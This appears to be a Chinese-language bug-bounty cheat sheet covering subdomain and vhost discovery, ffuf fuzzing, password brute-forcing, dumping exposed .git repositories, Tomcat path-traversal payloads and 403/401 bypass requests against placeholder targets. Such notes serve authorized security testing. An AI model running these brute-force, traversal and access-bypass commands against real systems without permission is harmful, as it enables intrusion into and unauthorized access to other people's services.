Subdomain

子域名有时候有规律,比如有个app.domain.com,就有可能存在app-dev.domain.com 或者appdev.domain.com 或者 dev-app.domain.comapp-api.domain.comapp-api-dev.domain.com…….

四级域名 site.corp.domain.com , site.dev.domain.com (corp有时候是目标内网的域名,需要拨VPN)

Google dork

1
2
3
4
5
6
7
8
site:xxx.com
site:xxx.com -www vedio
site:xxx.com -www vedio ext:jsp
site:xxx.com -www vedio ext:php
site:xxx.com -www vedio ext:jsp inurl:login
site:xxx.com -www vedio ext:jsp inurl:login intitle:login
site:xxx.com -www vedio inurl:"&" 寻找有参数的url
site:xxx.com -www vedio ext:jsp inurl:login intext:admin

Certificates

1
2
https://crt.sh/?cn=%.Paypal.com 搜索匹配所有Paypal.com证书的域名(证书里的CN)
https://crt.sh/?O=Paypal 搜索匹配所有Orignization字段是Paypal域名(证书里的Org),范围比上面的更大

自动化 /bin/crtsh

1
curl -s https://crt.sh/\?cn=\=%.$1\&output=json | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
1
crtsh paypal.com

如果是搜索O参数

1
curl -s https://crt.sh/\?o=paypal&output=json | jq -r '.[].common_name' | sed 's/\*\.//g' | sort -u

提取所有二级域名,也就是只要 a.dev.pay.com 里的pay.com

1
2
3
echo "a.dev.pay.com" | rev | cut -d "." -f 1,2 | rev
rev表示把输出反向,cut -d表示以.分隔,-f表示取第几部分
cat result.txt | rev | cut -d "." -f 1,2 | rev | sort -u > pay.txt

Discovering Subdomains with Subfinder

配置key

1
2
3
subfinder -d hackerone.com
subfinder -d hackerone.com -all
subfinder -dL domain.txt //domain.txt可以是上面crtsh跑出来的

shodan

1
2
3
4
hostname:xxx.com
ssl:xxx.com 搜证书里有xxx.com的
org:xxx (xxx是公司名)
org:xxx http.title:login

命令行

1
2
3
4
5
6
7
shodan search "org:IBM"
shodan download results hostname:ibm.com
shodan search "hostname:xxx.com port:8080"
shodan search "hostname:xxx.com \!port:8080"
shodan search "hostname:xxx.com \!port:8080,21,22"
shodan search "org:IBM" --fields hostname
shodan search "org:IBM" --fields hostname,port

httpx工具

1
2
3
4
5
6
7
8
9
10
11
12
httpx -l result.txt -cl -sc -location -favicon -title -tech-detect -ip -ports 80,443,8080,8000 -probe-all-ips -o re2.txt
cl:返回响应包长度
sc:返回状态码
location:返回重定向的url
favicon:返回图标
title:返回页面标题
tech-detect:检测后端技术等
ip:探测IP
ports:探测端口还开放了什么
probe-all-ips:探测该host的所有IP
follow-redirects:跟随重定向的url
httpx -l result.txt -cl -sc -location -favicon -title -tech-detect -ip -ports 80,443,8080,8000 -probe-all-ips -o re2.txt -follow-redirects

wordlist

1
2
wordlists.assetnote.io
github danielmiessler SecLists

DNS Resolution Using massDNS

1
massdns -r resolvers.txt -t A target.com -o J > re.txt

resolvers.txt可以github

Subdomain Brute Forcing Using ShuffleDNS & massDNS

扫子域名的

1
shuffledns -d target.com -w dnsDict.txt -r resolvers.txt -mode bruteforce -m /bin/massdns --silent 

DNS Permutations using DNSGen

DNSGen是生成字典的

可以把上面的命令结合起来用,例如shuffledns生成的子域名结果是shuff-output.txt

1
2
3
4
5
6
7
检测扫描的子域名有没有问题,能不能通
cat shuff-output.txt | massdns -r resolvers.txt -t A -o J > test.txt
把扫描出的子域名再生成一次字典,然后用massdns测能不能通
cat shuff-output.txt | dnsgen - | massdns -r resolvers.txt -t A -o L > test.txt
cat test.txt | httpx 测哪个子域名能web解析

如果直接把dnsgen的结果丢给httpx的话会非常慢

ffuf扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
目录
ffuf -w dict.txt -u http://xxx.com/FUZZ
域名
ffuf -w dns.txt -u https://FUZZ.xxx.com/
ffuf -w dns.txt -u https://FUZZ-api.xxx.com/
扫描不对外公开的虚拟主机
ffuf -w dict.txt -u https://xxx.com/ -H "Host: FUZZ.xxx.com"


--------------------------------------------------------------------------------------------------
PS:
针对上面的命令
目标地址的确定

-u 参数中的 URL 决定了实际请求发送的目标服务器的 IP 地址。
DNS 解析会根据 URL 的域名部分(如 xxx.com)解析到具体的 IP 地址。
最终请求会被路由到这个 IP 地址对应的服务器。
Host 头的作用

当服务器接收到请求后,它通过 Host 头字段的值确定请求是针对哪个虚拟主机。
在共享主机环境中,一个服务器可能托管多个站点,通过 Host 来区分请求属于哪个站点。

请求会被路由到 xxx.com 的服务器,但服务器会根据 Host: test.xxx.com 判断这是请求哪个虚拟主机。

为什么能生效?
这种操作能够生效的原因在于:

请求的目标服务器由 -u 决定:ffuf 会将请求发送到 xxx.com 的 IP 地址对应的服务器。
请求的虚拟主机由 Host 决定:服务器根据 Host 字段的值决定如何处理请求。
常见误解
误解:Host 决定请求发送的目标地址

实际上,Host 只是一个 HTTP 头字段,告诉服务器要访问的虚拟主机名,不会改变请求路由。
请求路由由 URL 中的域名(或 IP 地址)解析决定。
误解:Host 和 URL 冲突

Host 和 URL 并不冲突。URL 决定请求到达哪个服务器,而 Host 决定服务器中的具体资源处理上下文。
一个类比
可以将 URL 和 Host 头字段的关系类比为:

URL:是一个快递地址,决定包裹送到哪栋大楼。
Host:是大楼内的收件人名字,决定包裹送到哪户人家。
即使收件人名字和地址不一致,包裹仍会送到大楼,但可能会被拒收或处理错误。

在渗透测试或安全测试中,目标服务器可能托管了多个虚拟主机(共享同一 IP),而某些虚拟主机可能没有公开的 DNS 解析记录。

例如:

test.com 是唯一公开的域名,DNS 能解析到服务器 IP。
example.com 是内部的虚拟主机,没有对外提供 DNS 记录。
此时你只能通过 -u 访问 test.com 的服务器,并通过伪造 Host: example.com 来测试服务器是否配置了虚拟主机 example.com。


--------------------------------------------------------------------------------------------------

上面的确认虚拟主机之后,比如有个internal.xxx.com,用浏览器不一定能直接访问到,先用curl测试一下
curl https://xxx.com -H "Host: internal.xxx.com"
修改/etc/hosts文件把 internal.xxx.com指向 xxx.com 的ip

枚举密码

1
2
r.txt是请求,把里面的password改成FUZZ
ffuf -request r.txt -w password.txt

.git利用

GitTools internetwache

1
2
gitdumper.sh http://xxx.com/.git/ /out/re
extractor.sh /out/re/ /out/ree

API测试

1
2
ffuf -u http://xxx.com/FUZZ -w dict.txt -recursion -v
recursion表示迭代扫描,扫出了api还会继续扫api下面的目录

如果结果里有swagger.json,这个json文件会指明api的路径,并且如果找到了一个api路径,就可以在其他域名上都尝试访问这个api

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
常见发现路径

安全研究人员通常会检查以下路径以查找公开的 API 文档:

Copy/swagger/index.html
/swagger-ui/
/swagger-ui.html
/api-docs/
/docs/
/api/swagger
/api/swagger-ui
/swagger.json
/api-docs.json
/openapi.json
/openapi.yaml
/redoc/
/redoc.html

专业提示:许多组织在其 URL 中使用不同的基本路径或版本控制。请尝试以下变体:

Copy/v1/swagger
/v2/docs
/api/v1/swagger
/api/v2/docs

ffuf cheetsheat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
Basic Usage

# Basic directory scan - start here!
ffuf -w wordlist.txt -u https://target.com/FUZZ

# Add verbosity for better output (-v)
ffuf -w wordlist.txt -u https://target.com/FUZZ -v

# Multiple extensions - scan for files
ffuf -w wordlist.txt -u https://target.com/FUZZ -e .php,.txt,.html

# Recursion (explores directories it finds)
ffuf -w wordlist.txt -u https://target.com/FUZZ \
-recursion -recursion-depth 2 -v \
# Output shows tree structure:
# /admin/
# └── /panel.php
# └── /users/
# └── /list.php

Request Customization

# Using a saved HTTP request (great for complex APIs!)
# 1. Save request to file (request.txt):
POST /api/v1/users HTTP/1.1
Host: target.com
Content-Type: application/json

{"username": "FUZZ"}

# 2. Use it:
ffuf -request request.txt -w wordlist.txt

# 3. Override parts if needed:
ffuf -request request.txt -w wordlist.txt \
-H "Host: newdomain.com" \
-X GET # Change method

Parameter Discovery (Finding Hidden Inputs)

# GET parameters
ffuf -w params.txt -u https://target.com/api?FUZZ=test

# POST parameters
ffuf -w params.txt -u https://target.com/api \
-X POST -d "FUZZ=test"

# Multiple positions (parameter + value)
ffuf -w params.txt:FUZZ1 -w values.txt:FUZZ2 \
-u https://target.com/api?FUZZ1=FUZZ2

DNS Fuzzing & Virtual Hosts

# Subdomain enumeration
ffuf -w subdomains.txt -u http://FUZZ.example.com

# DNS permutation (app-dev, app-staging, etc)
ffuf -w permutations.txt -u http://app-FUZZ.example.com

# Virtual Host Discovery (finds hidden sites!)
ffuf -w vhosts.txt -u http://target.com \
-H "Host: FUZZ.target.com"

# Quick vhost check with common values
ffuf -w /dev/null -u http://target.com \
-H "Host: FUZZ" \
-w "localhost,127.0.0.1,default,kubernetes,kubernetes.default"

Why vhost works: Web servers can host multiple sites on one IP using the Host header. Many staging/admin sites are hidden this way!

Response Filtering (Essential for Accuracy!)

# Size-based (find unique responses)
-fs 1234 # Skip size
-fl 12 # Skip lines
-fw 77 # Skip words

# Status codes
-fc 404,301 # Filter out codes
-mc 200,301 # Match only these codes

# Word count (great for auth bypass)
-fw 57 # Filter word count
-mw 57 # Match word count

# Regex for specific content
-fr "error|forbidden" # Filter regex
-mr "success|authenticated" # Match regex

Performance & Output Control

# Rate limiting (be nice to servers)
-rate 50 # Requests per second
-p 0.1 # Pause between requests

# Save results
-o results.json # Output file
-of json # Format (json,csv,etc)

# Quiet mode
-s # Only show matches

API测试方法

FUZZ参数

1
2
3
4
5
6
7
8
9
10
api有可能是这样用的http://xxx.com/api/v3/article/某个参数/{id}
ffuf -w dict.txt -u 'http://xxx.com/api/v3/article/FUZZ/10'
ffuf -w dict.txt -u 'http://xxx.com/api/v3/article?FUZZ=10'
ffuf -w dict.txt -u 'http://xxx.com/api/v3/article/?FUZZ=10'
由于10不知道是否存在,可能返回404,不加过滤的情况下是不显示404的,所以需要加上过滤
ffuf -w dict.txt -u 'http://xxx.com/api/v3/article/?FUZZ=10' -mc 200,300-305,400-405
然后生成id的序号字典
seq 1 200 > num.txt
ffuf -w num.txt -u 'http://xxx.com/api/v3/article/?id=FUZZ'
当然有时候参数不止一个,可能是id=1&FUZZ=

有个站,扫出了api和settings两个目录,访问 https://xxx.com/api/123 返回Endpoint not found的json数据

访问settings返回的是apache tomcat的404页面,但是访问 https://xxx.com/casiugsiad 返回的是另一种样式的404

这个时候先测一下目录穿越,有可能穿越到tomcat的根目录去

1
2
3
4
5
https://xxx.com/api/..%2f
https://xxx.com/api/..;
https://xxx.com/settings/..%2f
https://xxx.com/settings/..;
https://xxx.com/settings/..%5c

如果比如 https://xxx.com/settings/..; 成功穿越到Tomcat的根目录了,就可以继续扫

1
ffuf -w dict.txt -u https://xxx.com/settings/..\;/FUZZ

找到比如phpmyadmin 可以搜site:hackerone.com phpMyAdmin

403&401 bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
大小写绕过(php里的=== 和==)
xxx.com/Admin
双/绕过
xxx.com/api//flag
url编码绕过
xxx.com%2FAdmin
双编码绕过(%25解码是%)
xxx.com%252FAdmin
目录穿越加编码绕过(只能用命令行,浏览器会强行重定向),这里的status是不存在的目录
curl http://xxx.com/status/%2E%2E/app/flag
双重编码加目录穿越绕过
curl http://xxx.com/status/%252E%252E/app/flag
\绕过(只能命令行,加上"双引号)
curl "http://xxx.com/app\flag"
更换请求方式绕过
XFF绕过
curl http://xxx.com/admin -H "X-Forwarded-For: 127.0.0.1"